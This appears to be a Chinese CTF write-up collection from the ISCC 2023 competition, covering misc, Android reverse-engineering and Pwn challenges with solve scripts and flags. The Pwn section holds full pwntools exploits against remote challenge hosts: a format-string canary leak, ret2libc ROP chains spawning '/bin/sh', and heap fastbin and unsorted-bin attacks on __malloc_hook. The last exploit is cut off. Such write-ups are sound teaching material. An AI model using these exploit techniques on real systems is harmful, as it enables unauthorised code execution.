用Wireshark打开流量包,然后找tcp流在第20中找到邮件,内容为一个图片
将其转化为图片base64,保存,对图片进行foremost分离
得到:
当tcp流为18的时候找到pass2:FTQIPMVJFOKHHZUZ
为15 的时候找到base64加密的pass1:V1JXQUFMSVVXT0haQVBRVw==
解码得到:WRWAALIUWOHZAPQW
同时在这条流量中找到 picture.rar
对下面的密文进行base64解密,然后转换为hex,导入到010保存为picture.rar
解压需要密码,根据前面的提示得到密码为:WRWAALIUWOHZAPQWFTQIPMVJFOKHHZUZ
得到一堆黑白照片,猜测是二进制,所以写脚本提取转化
import cv2
t = ""
for i in range(1,113):
a = cv2.imread(str(i)+".png")
a = list(a)
if(str(a[0][0])=="[255 255 255]"):
t+="0"
else:
t+="1"
print(t)
for i in range(0,len(t),8):
flag = ""
for j in range(8):
flag += t[i+j]
print(chr(int(flag,2)),end="")
得到转化后的二进制字符串和flag
0100100101010011010000110100001101111011011010010011001001110011001100000110001100110010011000110011001101111101
ISCC{i2s0c2c3}
然后根据第一步解压得到的字典对flag进行替换,得到真正的flag:ISCC{8wxf6n6p}
解题收获:01转二维码+流量分析
人生之路
对压缩包解压得到一个图片和一个压缩包,根据提示得到压缩包密码为:人生之路.jpeg
解压得到一段密文:
bXyGqXyGbX yXqGbXqGyX yXqXbX yXqXbX yGqGyGbGqGbG yXqXbXuGyG bXyGqXyGbX qXuXbXqXyXbXqXyX qXbXuXyX yXqXbX qyGqGuGbGuyGqbGqG qyGqGuGbGuyGqbGqG qbXubXqbXubX qXuGbGbuGqyGqbG qXuGbXuGqX bXyGqXyGbX qXuXbXqXyX qXuXbXqGyX qXbXuX qbXubXqbXubX bGqGbGyGqGyG
根据提示对他进行凯撒解密,当秘钥为24的时候
得到:
dZaIsZaIdZ aZsIdZsIaZ aZsZdZ aZsZdZ aIsIaIdIsIdI aZsZdZwIaI dZaIsZaIdZ sZwZdZsZaZdZsZaZ sZdZwZaZ aZsZdZ saIsIwIdIwaIsdIsI saIsIwIdIwaIsdIsI sdZwdZsdZwdZ sZwIdIdwIsaIsdI sZwIdZwIsZ dZaIsZaIdZ sZwZdZsZaZ sZwZdZsIaZ sZdZwZ sdZwdZsdZwdZ dIsIdIaIsIaI
根据提示,猜测wsad是上下左右控制方向,然后Z和I是控制长度
然后画字符画
最后全部画出得到flag:ISCC{GIB0CAAWKHIDPUW}
mystery of bits
下载解压得到一个图片和一个压缩包,图片的高度被修改了,用工具跑一下,发现高度应该和宽度一样为1080,修改之后用StegSolve.jar
打开,切换颜色通道找到
将图片旋转拉伸得到压缩包密码
解压得到一个wav的音频,在得到的音频中用十六进制工具打开找到一个password:ISCC2023
用stegpy工具跑一下
得到一串01字符串,猜测是个二维码
from PIL import Image
from zlib import *
t = '0000000000000000000000000000000011111110101010111111101111111001000001011101011100000100000100101110101111000111110010111010010111010101000000101001011101001011101010110100101000101110100100000100010110000001010000010011111110101010101010101111111000000000010011001101000000000000010101101010101010111110111110011110000111111100010100101110000010111010010110110101101111000011100000011100000111000001110001001011101001011010010110100000000110100000111000001110000000001011101001011010010110100100010001101001100111011101010100001010011111010110011101001111100000011001100100001101100101000010100010011000010000011000100001011100001011001110110110100100101011100111110101111111101100000000000100001010110100010001001111111001000110010010101010000100000101101111001001000111110010111010011101110101111110101001011101010111011001101110101000101110100010111010101110111010010000010110011001000110011110001111111000010001000010010100000000000000000000000000000000000'
MAX = 961 # 数字的长度为一个整数的平方(如36^2=1296)
pic = Image.new("RGB",(MAX,MAX))
i=0
for y in range(0,MAX):
for x in range(0,MAX):
if(t[i] == '1'):
pic.putpixel([x,y],(0,0,0))
else:pic.putpixel([x,y],(255,255,255))
i = i+1
pic.show()
pic.save("flag.png")
运行脚本得到二维码
扫码得到flag:ISCC{congratulation_and_it_is_real}
解题收获:01转二维码
通信方式
拿到一个wav格式的音频,分析发现左右声道有些区别,写脚本读取左右声道的值,并计算其差值
发现其值有1有2且总数为某个数的平方数,所以怀疑是二维码,对脚本进行优化
运行得到一张二维码
扫码得到:5337 5337 2448 2448 0001 2448 0001 2161 1721 5337 0001 0668 5337 4574 0604 3320 0001 2448 0001 2977 3024 3320 0001 0668 5337 5337 0676 4122 0037 5337 0604 0604 2161 1721
根据题目描述猜测其为莫斯电码,但是这个又不符合莫斯电码的格式,所以猜测为中文莫斯电码,找在线网站解码
根据中文读出来发现是英文的谐音,最终得到flag:ISCC{AKDVZCYBZKHPJVV}
解题收获:音频分析
你相信AI吗?
这里根据给定的题目
循环遍历数字0到31,每次读取一个数据文件,文件名为"./dataset/{i}.txt",其中i为循环变量。
读取数据文件中的数据,将每个数据行解析为一个浮点数,并将所有数据放入一个numpy数组中。
根据数据数组的大小,将其转换为一个二维数组,并将二维数组保存为一个PNG图像文件,文件名为"./out/{i}.png",其中i为循环变量。如果数据数组的大小不是2352或1568,则打印出该循环变量i的值,以便进行调试。
import cv2
import numpy as np
for i in range(32):
with open(f"./dataset/{i}.txt", "r") as f:
data = f.read().splitlines()
image_data = np.array([float(line) for line in data])
if image_data.shape[0] == 2352:
cv2.imwrite(f"./out/{i}.png", image_data.reshape(84, 28))
elif image_data.shape[0] == 1568:
cv2.imwrite(f"./out/{i}.png", image_data.reshape(56, 28))
else:
print(i)
这里得到好多图片
然后将图片中的数字进行提取
循环遍历数字0到31,每次读取一个数据文件,文件名为"./dataset/{i}.txt",其中i为循环变量。
读取数据文件中的数据,将每个数据行解析为一个浮点数,并将所有数据放入一个numpy数组中。
根据数据数组的大小,将其转换为一个二维数组,并将二维数组保存为一个PNG图像文件,文件名为"./out/{i}.png",其中i为循环变量。如果数据数组的大小不是2352或1568,则打印出该循环变量i的值,以便进行调试。
定义一个函数pd,用于判断一个字节数组是否全部由可打印字符组成。
定义一个密文cipher_text,它是一个由空格分隔的字符串,其中包含了需要解密的密文。
使用itertools.permutations生成所有可能的数字排列,对于每个数字排列,将其应用于cipher_text中的数字,得到一个新的字符串lis。
使用map函数将lis中的字符串转换为数字,并将其打包为一个字节数组plan_text。
判断plan_text是否全部由可打印字符组成,并且前六个字符是否为"SVNDQ3"。
如果plan_text符合条件,则将其解码为一个字符串tmp,如果tmp的前五个字符为"ISCC{",则打印出tmp,表示找到了正确的解密结果。
import cv2,string,itertools,contextlib,base64,os
import numpy as np
for i in range(32):
with open(f"./dataset/{i}.txt", "r") as f:
data = f.read().splitlines()
image_data = np.array([float(line) for line in data])
if image_data.shape[0] == 2352:
cv2.imwrite(f"./out/{i}.png", image_data.reshape(84, 28))
elif image_data.shape[0] == 1568:
cv2.imwrite(f"./out/{i}.png", image_data.reshape(56, 28))
else:
print(i)
pd=lambda x:all(chr(byte) in string.printable for byte in x)
cipher_text = '51 59 75 95 56 46 669 79 72 92 41 41 56 05 78 70 52 55 53 633 27 46 99 71 57 687 53 54 683 56 96 96'.split(" ")
for i in itertools.permutations("0123456789", 10):
maktrans = str.maketrans("0123456789", ''.join(i))
lis = [str.translate(i, maktrans) for i in cipher_text]
with contextlib.suppress(Exception):
plan_text = bytes(list(map(lambda x: int(x), lis)))
if pd(plan_text) and str(plan_text)[2:8]=="SVNDQ3":
tmp=base64.b64decode(plan_text).decode("utf-8")
if tmp[0:5]=='ISCC{':
print(tmp)
解题收获:初步了解人工智能
Mobile
NOJAVA
用jadx分析apk文件
找到MainActivity
发现密文:YffZeiijjjYfiYjjjejeeZYe
分析函数,发现是调用的so文件进行加密
所以对apk进行解压,找到lib文件夹下的so文件,找到合适的版本用ida打开
找到加密函数,F5
通过分析发现最终是调用这个A函数进行加密
分析这个函数
在这里将我们的flag转换为二进制
然后按照这个规则替换
也就是:"1001":"10","0110":"01","1010":"11","0101":"00"
然后重新转换为字符串得到密文返回
所以解密的时候只需要反过来就行
exp:
import libnum
s = 'eZeYYZfiYeejjiejfifjjYjj' # 字符串
s = libnum.s2n(s)
a = bin(s)[2:]
a = (4-(len(a)%4))*'0'+a
a = [a[i*4:(i+1)*4] for i in range(len(a)//4)]
dic = {"1001":"10","0110":"01","1010":"11","0101":"00"}
flag = ""
for i in a:
flag += dic[i]
print("ISCC{",end="")
for i in range(0,len(flag)//8):
t = flag[i*8:(i+1)*8]
print(chr(int(t,2)),end="")
print("}")
运行得到flag:ISCC{CB#V$GvGVWrw}
解题收获:学习安卓so文件逆向
WhereisFlag-1
分析代码,发现主要的加密判断逻辑在checkSN函数中,这个函数存在于so文件内,将apk解压在lib文件夹下找到so文件,找到合适的版本,用ida打开
经过分析发现flag存放于这两个函数中
在wrong1中找到
根据提示解密
得到前半部分flag
在wrong2中
主要的加密函数为rc4,其中秘钥为:this is key for Encript test
明文为:flagishere
将明文加密得到密文为第二部分flag
这里得到第二部分密文为:128215131d0dd4119e60
组合得到flag
解题收获:rc4+md5
WhereisHint-2
分析代码,这里发现验证的函数在androidx.appcompat.app包中
观察发现,加密函数在so文件内,调用eq函数
发现加密函数有点像是DES,但是可能有些地方被魔改了,这里直接尝试调用so文件爆破
自定义了一个码表,然后使用随机数进行选择,分析密文得知,明文应该是八位的,通过调用eq函数得到验证明文确实是八位
这里有点看运气,但是跑了两天确实是跑出来了,最终得到flag:ISCC{flagfkyy}
解题收获:爆破字符串
MobileTest
找到最终的密文为:nedE74BAB6984CBEFF0946CCD3297A21C3F7aisylE
然后发现这个是在a函数中经过了一次加密也就是最后一次加密
发现其实是在a函数中把so文件中加密的结果给添加上了一些字符
所以还原一下得到:74BAB6984CBEFF0946CCD3297A21C3F7
然后分析so文件中的函数
这里发现其实主要是调用stringfromjni_2()进行加密
经过分析发现,这里就是一个密钥扩展和加密,使用的算法就是aes,密钥就是dest
这里发现为dest赋值的地方,查看内存中的值得到字符串:nedEaisylE
十六进制为:
0x61, 0x69, 0x73, 0x79,
0x6C, 0x45, 0x6E, 0x65,
0x64, 0x45, 0x61, 0x69,
0x73, 0x79, 0x6C, 0x45
继续分析,发现这里S盒被替换
在内存中找到替换后的S盒,同时发现逆S盒也被替换,将逆S盒的值也拿出来
得到:
// S盒
byte S[256] = {
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x1, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
0x4, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x5, 0x9a, 0x7, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
0x53, 0xd1, 0x0, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
0x9, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x2, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0xb, 0xdb,
0xcd, 0xc, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x8,
0xe0, 0x32, 0x3a, 0xa, 0x49, 0x6, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x3, 0xf6, 0xe, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
0x8c, 0xa1, 0x89, 0xd, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0xf, 0xb0, 0x54, 0xbb, 0x16,
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf
};
//逆S盒
byte inv_S[256] = {
0x42, 0x19, 0x7a, 0xc5, 0x20, 0x26, 0xb5, 0x28, 0xaf, 0x50, 0xb3, 0x8e, 0x91, 0xe3, 0xc7, 0xeb,
0x6c, 0xf3, 0x29, 0x92, 0x8b, 0x3f, 0xef, 0x97, 0x24, 0x9e, 0x53, 0x54, 0xd4, 0xce, 0xf9, 0xdb,
0x44, 0x6b, 0x84, 0x22, 0xb6, 0xd2, 0x33, 0x2d, 0xfe, 0x5c, 0x85, 0x1b, 0x52, 0xea, 0xd3, 0x5e,
0x18, 0x3e, 0xb1, 0x76, 0x38, 0xc9, 0x34, 0xa2, 0x66, 0x4b, 0xb2, 0x59, 0x7d, 0x9b, 0xc1, 0x35,
0x62, 0xe8, 0xe6, 0x74, 0x96, 0x78, 0x88, 0x6, 0xc4, 0xb4, 0x4c, 0xdc, 0x4d, 0x75, 0xa6, 0x82,
0x7c, 0x60, 0x58, 0x40, 0xed, 0xfd, 0xa9, 0xca, 0x4e, 0x5, 0x56, 0x47, 0xb7, 0x9d, 0x8d, 0x94,
0x80, 0xc8, 0xbb, 0x10, 0x9c, 0xac, 0xc3, 0x1a, 0xe7, 0xf4, 0x48, 0x15, 0xa8, 0xa3, 0x55, 0x16,
0xc0, 0x3c, 0xe, 0x9f, 0xda, 0x2f, 0x1f, 0x12, 0xd1, 0xbf, 0xad, 0x13, 0x11, 0x3, 0x9a, 0x7b,
0x2a, 0x81, 0x1, 0x51, 0x5f, 0x77, 0xcc, 0xfa, 0x87, 0xe2, 0xdf, 0xde, 0xe0, 0xa4, 0xf6, 0x63,
0x86, 0xbc, 0x64, 0x32, 0xf7, 0xbd, 0x25, 0x95, 0xf2, 0xe9, 0x27, 0xf8, 0xc, 0x65, 0xcf, 0x7e,
0x57, 0xe1, 0xa, 0x61, 0xd, 0x39, 0xd5, 0x99, 0x7f, 0xa7, 0x72, 0x1e, 0xba, 0x8, 0xae, 0xb,
0xec, 0x46, 0x2e, 0x5b, 0xd6, 0xc2, 0x69, 0x30, 0x8a, 0xcb, 0xd0, 0xee, 0x68, 0xdd, 0x4a, 0xe4,
0xf, 0xcd, 0xb8, 0x23, 0x98, 0x17, 0xd7, 0x21, 0xa1, 0x2, 0x0, 0x49, 0x37, 0x90, 0xfc, 0x4f,
0x70, 0x41, 0x6f, 0xb9, 0x9, 0xa5, 0x5a, 0x1d, 0x3d, 0xf5, 0x6a, 0x8f, 0x83, 0xd9, 0x8c, 0xff,
0xb0, 0xf0, 0x2b, 0x5d, 0xbe, 0x3a, 0xe5, 0xa0, 0xd8, 0xfb, 0xab, 0x2c, 0x93, 0x43, 0x89, 0x71,
0x7, 0x3b, 0x14, 0x6e, 0xaa, 0x67, 0xc6, 0x36, 0xf1, 0x79, 0x4, 0x73, 0x45, 0x31, 0x1c, 0x6d
};
AES加密结束之后在这里将数据转换为十六进制的时候将高低位替换了
所以,在解AES之前先替换高低位得到密文:
0x47, 0xAB, 0x6B, 0x89,
0xC4, 0xEB, 0xFF, 0x90,
0x64, 0xCC, 0x3D, 0x92,
0xA7, 0x12, 0x3C, 0x7F
然后从网上找一个AES加密的代码,将其中的S盒与逆S盒替换然后解密得到明文
明文为:
7b 46 4c 41
47 49 53 6b
5e 69 61 6d
3d 65 69 7d
然后解密得到flag
解题收获:AES解密
ManyJni
用jadx打开apk,分析代码
这里发现是调用so文件中的stringFromJNI函数和man函数中的CD函数生成了两个变量C和D,然后利用C和D以及输入的flag传入stringJNI函数,生成了一个字符串,然后字符串分为前半部分和后半部分,与下面所给定的字符串进行比较,然后用ida分析so文件
发现主要加密逻辑在这里,发现这里是对每一个字符单独进行操作,所以可以通过直接调用这个函数,来获取密文与明文对应的值
当这里传入参数为a的时候,发现值为:.1083538065.1130340170
然后尝试传入参数为‘a’+c
这里发现是对a的值进行了切割
然后尝试传入‘b’和‘b’+c
发现是同样的在‘b’+c中对b的值进行了切割得到了两部分,且中间的值一样,所以猜测值不变,一直遍历输出得到码表
{"1463495029.1088610877": "+", "1049530879.4255690777": "#", "2862766292.2381007417": "$",
"3330444070.1174262214": ",", "2227920669.2827401366": "_", "1579951362.2846238576": "8", "368955456.3265704134": "T",
"2696190145.613662970": "(", "3872134833.1068749546": "m", "891426205.2766473378": "/", "1519023352.105877999": "j",
"2477809142.443877620": "[", "2647754101.2230120467": "`", "3075111042.1323776342": "i", "986806734.2777299023": ".",
"3896053831.4135235691": "?", "1184712308.807098365": "I", "4075828588.429489377": "M", "2429787593.619384622": "l",
"881206442.1709247634": "]", "1083538065.1130340170": "a", "4023341693.1586698450": "6", "155280819.3054501475": "W",
"99771100.1051999332": "9", "4232898851.3300692563": ")", "64956337.4234499210": "1", "2870232400.3722498303": "\\",
"2841218066.780431097": "e", "132800239.3878689771": "w", "2156232310.2823971181": "k", "1808290711.212509551": "7",
"696150085.2220172189": "p", "3713618273.3259647236": "q", "3121040253.2415880190": "u", "2858698525.3991735450": "z",
"2547227671.698153515": ";", "654785657.4006927810": "n", "3711461495.3008240604": "<", "3581263639.1952078211": "f",
"3164894139.2581098102": "y", "3160675335.657981347": "x", "1158103192.2450550443": "~", "1236282010.4060431406": "A",
"4027068562.440012179": "c", "351048083.1823512614": "o", "1462318326.3226159060": "C", "2954653653.1618611175": "P",
"701073028.312955233": "%", "666315003.3369729975": "4", "2853626980.607086523": "=", "19734539.2637167118": "@",
"4120373985.112157582": "J", "2302105109.2843567652": "L", "1392500071.2693188089": "^", "709910699.3712210805": "s",
"3113384841.1999610280": ":", "1964704696.30454558": "X", "3016651642.1304626590": "E", "924745076.1085575287": "3",
"1979386605.348865528": "*", "3283987997.1614515444": "\"", "3248176867.998559740": "Y", "2460099397.287946231": "r",
"933728663.4036345491": "D", "870221498.4165280671": "F", "700813972.3680578651": "!", "2666170697.1050538432": "G",
"3735675442.4106461569": "Q", "3944223761.1040972928": "S", "406509623.2197974953": "-", "166914849.75133536": "2",
"1971216652.4016620168": "B", "3126027666.2407112104": "'", "2421050068.877129437": "h", "2694837670.239856188": "v",
"4259959222.1144992995": "}", "1986798057.4141497725": "0", "734889408.680957602": "t", "3747360752.949414639": ">",
"4099300672.1926520061": "V", "2965350987.46203785": "K", "428936951.1911408410": "d", "1336447878.2775388247": "b",
"4097885373.4018178710": "&", "1935593237.368431450": "Z", "529156133.278213883": "N", "2381012008.4088810995": "R",
"385403258.710806366": "g", "4273244629.3478477188": "H", "1802901715.704799359": "|", "930008935.2627182413": "5",
"4018804880.2724391126": "O", "4067852839.2777358486": "U", "1615466436.2634553015": "{"}
然后编写脚本解flag:
exp:
dic = {"1463495029.1088610877": "+", "1049530879.4255690777": "#", "2862766292.2381007417": "$",
"3330444070.1174262214": ",", "2227920669.2827401366": "_", "1579951362.2846238576": "8", "368955456.3265704134": "T",
"2696190145.613662970": "(", "3872134833.1068749546": "m", "891426205.2766473378": "/", "1519023352.105877999": "j",
"2477809142.443877620": "[", "2647754101.2230120467": "`", "3075111042.1323776342": "i", "986806734.2777299023": ".",
"3896053831.4135235691": "?", "1184712308.807098365": "I", "4075828588.429489377": "M", "2429787593.619384622": "l",
"881206442.1709247634": "]", "1083538065.1130340170": "a", "4023341693.1586698450": "6", "155280819.3054501475": "W",
"99771100.1051999332": "9", "4232898851.3300692563": ")", "64956337.4234499210": "1", "2870232400.3722498303": "\\",
"2841218066.780431097": "e", "132800239.3878689771": "w", "2156232310.2823971181": "k", "1808290711.212509551": "7",
"696150085.2220172189": "p", "3713618273.3259647236": "q", "3121040253.2415880190": "u", "2858698525.3991735450": "z",
"2547227671.698153515": ";", "654785657.4006927810": "n", "3711461495.3008240604": "<", "3581263639.1952078211": "f",
"3164894139.2581098102": "y", "3160675335.657981347": "x", "1158103192.2450550443": "~", "1236282010.4060431406": "A",
"4027068562.440012179": "c", "351048083.1823512614": "o", "1462318326.3226159060": "C", "2954653653.1618611175": "P",
"701073028.312955233": "%", "666315003.3369729975": "4", "2853626980.607086523": "=", "19734539.2637167118": "@",
"4120373985.112157582": "J", "2302105109.2843567652": "L", "1392500071.2693188089": "^", "709910699.3712210805": "s",
"3113384841.1999610280": ":", "1964704696.30454558": "X", "3016651642.1304626590": "E", "924745076.1085575287": "3",
"1979386605.348865528": "*", "3283987997.1614515444": "\"", "3248176867.998559740": "Y", "2460099397.287946231": "r",
"933728663.4036345491": "D", "870221498.4165280671": "F", "700813972.3680578651": "!", "2666170697.1050538432": "G",
"3735675442.4106461569": "Q", "3944223761.1040972928": "S", "406509623.2197974953": "-", "166914849.75133536": "2",
"1971216652.4016620168": "B", "3126027666.2407112104": "'", "2421050068.877129437": "h", "2694837670.239856188": "v",
"4259959222.1144992995": "}", "1986798057.4141497725": "0", "734889408.680957602": "t", "3747360752.949414639": ">",
"4099300672.1926520061": "V", "2965350987.46203785": "K", "428936951.1911408410": "d", "1336447878.2775388247": "b",
"4097885373.4018178710": "&", "1935593237.368431450": "Z", "529156133.278213883": "N", "2381012008.4088810995": "R",
"385403258.710806366": "g", "4273244629.3478477188": "H", "1802901715.704799359": "|", "930008935.2627182413": "5",
"4018804880.2724391126": "O", "4067852839.2777358486": "U", "1615466436.2634553015": "{"}
part1 = ".1463495029.1049530879.4097885373.4273244629.3747360752.4018804880.2381012008.166914849.1986798057.1236282010.529156133.4075828588"[1:].split(".")
part2 = ".1088610877.4255690777.4018178710.3478477188.949414639.2724391126.4088810995.75133536.4141497725.4060431406.278213883.429489377"[1:].split(".")
flag = ''
for a, b in zip(part1, part2):
flag += dic[f"{a}.{b}"]
if flag[-3:] == 'ANM':
print("ISCC{" + flag[:-3] + "}")
else:
print("wrong")
运行得到flag
解题收获:字典爆破
ManyMany
分析代码,发现主要逻辑在stringFronJNI函数中,ida打开so文件分析代码
这里发现第一个密文,分析发现是将传入的明文进行逆置
这里发现第二段密文,这里是对,第二个明文进行某种方式打乱顺序,得到密文
经过分析发现最终的映射关系为0:0, 4:1, 1:2, 5:3, 2:4, 6:5, 3:6, 7:7
编写脚本运行得到flag
exp:
s = "#16P"
s1 = "m=%mL9DO"
flag = s[::-1]
map = {0:0, 4:1, 1:2, 5:3, 2:4, 6:5, 3:6, 7:7}
for i in range(8):
flag += s1[map[i]]
print(flag)
Pwn
三个愿望
先检查一下文件
发现开了Canary保护
然后用ida分析
程序大概流程就是,对用户输入的数字与随机数进行比对,成功则进入secondwish否则退出,这里可以用read覆盖随机数
这里可以通过read利用格式化字符串漏洞泄露canary,使用gdb调试确定canary偏移
然后计算出偏移为11
所以第一步就是
p1=b"%11$p"
r.sendlineafter("Now you can make your second wish!\n",p1)
canary=int(r.recv(18),16)
print('canary='+str(hex(canary)))
接下来进入第三个愿望
利用read进行栈溢出get shell
完整exp:
from pwn import *
from ctypes import *
context(arch='amd64',os='linux',log_level='debug')
io=remote("59.110.164.72",10023)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(1)
pay=flat(b'a'*(0xe),1)
io.sendlineafter("Now you can make your first wish\n",pay)
n=str(libc.rand() % 9 + 1)
io.sendlineafter("Please give me a number!\n",n)
pay1=b"%11$p"
io.sendlineafter("Now you can make your second wish!\n",pay1)
canary=int(io.recv(18),16)
print('canary='+str(hex(canary)))
io.sendlineafter("Please give me a number!\n",n)
pay2=flat(b'a'*(0x28),canary,b'a'*(0x8),0x4011f5)
io.sendafter("Now you can make your final wish!\n",pay2)
io.interactive()
Login
先检查
没有保护
利用read覆盖v6,进入if然后再利用read覆盖v4进入print_name
这里将传入的参数也就是v4给复制到dest中,dest函数栈长为0x20
要构造ROP链来泄露libc计算基地址,从而计算system与binsh地址
返回地址填充为main,泄露之后返回main函数再打一遍程序
然后构造payload来get shell
exp:
from pwn import *
io=remote("59.110.164.72",10020)
elf=ELF('./Login')
libc=ELF('./libc-2.23.so')
putsplt=elf.plt['puts']
putsgot=elf.got['puts']
main=0x400796
context(arch='amd64',os='linux',log_level='debug')
poprdi=0x4008c3
ret=0x400599
pay=p32(0x15CC15CC)*8
io.sendafter("input the username:\n",pay)
pay1=flat(b'a'*(0x28),poprdi,putsgot,putsplt,main,word_size=64)
io.sendlineafter("input the password:\n",pay1)
io.recvlines(1)
addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(addr))
base=addr-libc.sym['puts']
system=base+libc.sym['system']
sh=base+next(libc.search(b'/bin/sh\x00'))
pay2=p32(0x15CC15CC)*8
io.sendafter("input the username:\n",pay2)
pay3=flat(b'a'*(0x28),ret,poprdi,sh,system,word_size=64)
io.sendlineafter("input the password:\n",pay3)
io.sendline("cat flag.txt")
io.interactive()
第一用笔-1
func_1()是初始化,直接看下面那个
根据提示:Have you understood the nine stroke?
找到:一曰顿笔,二曰挫笔,三曰驭锋,四曰蹲锋,五曰存锋,六曰政锋,七曰耀锋,八曰按锋,九曰揭笔,
根据提示把:dunbi000cuobi000yufeng00dunfeng0cunfeng0nvfeng00yuefeng0anfeng00jiebi000
发送给程序
然后看func_2()
read读取数据不够不能构造rop链,然后在函数列表中找到
所以先利用上一个read覆盖其返回地址为该函数的地址,再构造ROP链即可
然后程序成功进入该函数,构造payload泄露libc,计算基地址,再利用基地址计算system与binsh
exp:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io=remote("59.110.164.72",10002)
elf=ELF('./usage_of_pen')
libc=ELF('./libc.so.6')
io.sendafter(b"'nvfeng00'!\n",b"dunbi000cuobi000yufeng00dunfeng0cunfeng0nvfeng00yuefeng0anfeng00jiebi000")
ret=0x4006c1
rdi=0x400c53
putsplt=elf.plt['puts']
putsgot=elf.got['puts']
pay1=b'a'*(0x20+8)+p64(0x400b0f)
io.sendafter(b"space",pay1)
pay2=flat(b'a'*(0x28),rdi,putsgot,putsplt,0x400b0f,word_size=64)
io.sendline(pay2)
io.recvuntil(b"\n")
addr=u64(io.recv(6).ljust(8,b'\x00'))
print("addr-->",hex(addr))
libcbase=addr-libc.symbols['puts']
print(hex(libcbase))
system=libcbase+libc.symbols['system']
sh=libcbase+next(libc.search(b'/bin/sh\x00'))
pay3=flat(b'a'*(0x28),ret,rdi,sh,system,word_size=64)
io.sendline(pay3)
io.sendline("cat flag.txt")
io.interactive()
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('59.110.164.72', 10003)
elf = ELF('./your_character')
libc = ELF('./libc-2.23.so')
def add(size, data):
p.sendafter(b'choice :', b'1')
p.sendafter(b'skill : ', str(size))
p.sendafter(b'skill:', data)
def edit_size(idx, size):
p.sendafter(b'choice :', b'2')
p.sendafter(b'Index :', str(idx))
p.sendafter(b'skill : ', str(size))
def edit_data(idx, data):
p.sendafter(b'choice :', b'3')
p.sendafter(b'Index :', str(idx))
p.sendafter(b'skill : ', data)
def show(idx):
p.sendafter(b'choice :', b'4')
p.sendafter(b'Index :', str(idx))
def free(idx):
p.sendafter(b'choice :', b'5')
p.sendafter(b'Index :', str(idx))
p.sendlineafter("Your choice :",'1')
add(0x68,'aaa') #index 0
add(0x10,'aaa') #index 1
add(0x60,'aaa') #index 2
add(0x50,'aaa') #index 3
edit_data(0, b'\x00'*0x68 + p8(0xf1))
free(1)
add(0xe0, b'a'*8) #index 1
show(1)
addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
base = addr - 0x68 - libc.sym['__malloc_hook']
# fast bin attack
malloc_hook = base + libc.sym['__malloc_hook']
one_gadget = base + 0xf1247
free(2)
edit_data(1, p64(0)*3 + p64(0x21) + p64(0xe0) + p64(0)*2 + p64(0x21) + p64(0)*3 +
p64(0x71) + p64(malloc_hook - 0x23))
add(0x60,'aaa') #index 2
free(3)
add(0x60, b'\x00'*0x13 + p64(one_gadget))
p.sendlineafter("Your choice :",'6')
p.sendlineafter("Your choice :",'2')
p.interactive()
print(' libc_base -> ', hex(base))
#debug()
擂台
Pwn
ezheap
当choice为1的时候是申请堆块
然后为2是释放堆块释放后末尾指针为0,存在UAF漏洞
为4是编辑堆块中的内容
当choice=1
输入堆块编号,限制申请堆块数量小于0x1f也就是31个
大小限制为0x80
这里要使极大值满足if条件
最终溢出点在check_key函数里
先申请两个堆块 释放0号堆块,其进入unsorted bin里,但我们此时还能对其编辑
再次申请一个同大小的堆块,就会把其再拿出来利用
from pwn import *
context.log_level = "DEBUG"
io=remote("59.110.164.72",10022)
def add(index,size):
io.sendlineafter("input your choice : ",'1')
io.sendlineafter("input idx plz : ",str(index))
io.sendlineafter("input size plz : ",str(size))
def edit(index,content):
io.sendlineafter("input your choice : ",'4')
io.sendlineafter("input idx plz : ",str(index))
io.sendlineafter("input content plz : ",content)
def free(index):
io.sendlineafter("input your choice : ",'2')
io.sendlineafter("input idx plz ",'0')
add(0,0x90)
add(1,0x90)
free(0)
pay=p64(0)+p64(0x6029b8-0x10)
edit(0,pay)
add(3,0x90)
io.sendlineafter("input your choice : ",'5')
pay1=flat(b'a'*(0x10+8),0x4009aa,word_size=64)
